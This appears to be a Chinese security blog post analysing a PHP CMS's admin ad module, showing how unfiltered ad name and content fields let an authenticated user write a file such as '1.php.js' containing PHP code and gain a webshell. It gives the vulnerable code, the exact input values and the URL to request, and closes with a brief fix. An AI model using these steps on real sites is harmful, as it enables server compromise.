by:风之传说
今天分析了两个程序,都发了吧。
好吧,我承认有点鸡肋。。
我们先来看看这个文件
/common.function.php
01functionwrite_file($l1,$l2=''){ //写文件
02 $dir= dirname($l1);
03 if(!is_dir($dir)){
04 mkdirss($dir);
05 }
06 return@file_put_contents($l1,$l2);
07}
08functionread_file($l1){
09 return@file_get_contents($l1);
10}
11// 数组保存到文件
12functionarr2file($filename,$arr=''){
13 if(is_array($arr)){
14 $con= var_export($arr,true);
15 }else{
16 $con=$arr;
17 }
18 $con="<?php\nreturn $con;\n?>";//\n!defined('IN_MP') && die();\nreturn $con;\n
19 write_file($filename,$con);
20}
上面是定义的函数,我们主要看write_file这个函数,OK我们再来看看后台的一个文件l
admin\module\extendMod.class.php
1$array=$_POST; //POST提交的数组赋值给$array
2 if(!empty($array['ads_name_sub'])){
3 if($this->model->table('ads')->where(' adsname="'.trim($_POST['ads_name_sub']).'"')->find()){
4 $this->error('该广告标识已经存在,请重新填写一个广告标识!');
5 }
6 $data['adsname'] = trim($array['ads_name_sub']); //文件名
7 $data['adscontent'] =stripslashes(trim($array['ads_content_sub'])); //内容
8 $this->model->table('ads')->data($data)->insert($data);
9 write_file(ROOT_PATH.'/data/ads/'.$data['adsname'].'.js',t2js($data['adscontent'])); //写SHELL
进入后台,然后浏览http://www.2cto.com /admin/index.php/extend/ads.html
然后广告识别码填:1.php
广告内容填:<?phpinfo();?>
然后访问http://www.2cto.com /data/ads/1.php.js 就可以看到我们可爱的马了。当然1.php.js这样的解析得看环境了。
所以说鸡肋,但是也是拿SHELL的一种方法。
修复:过滤这两项输入内容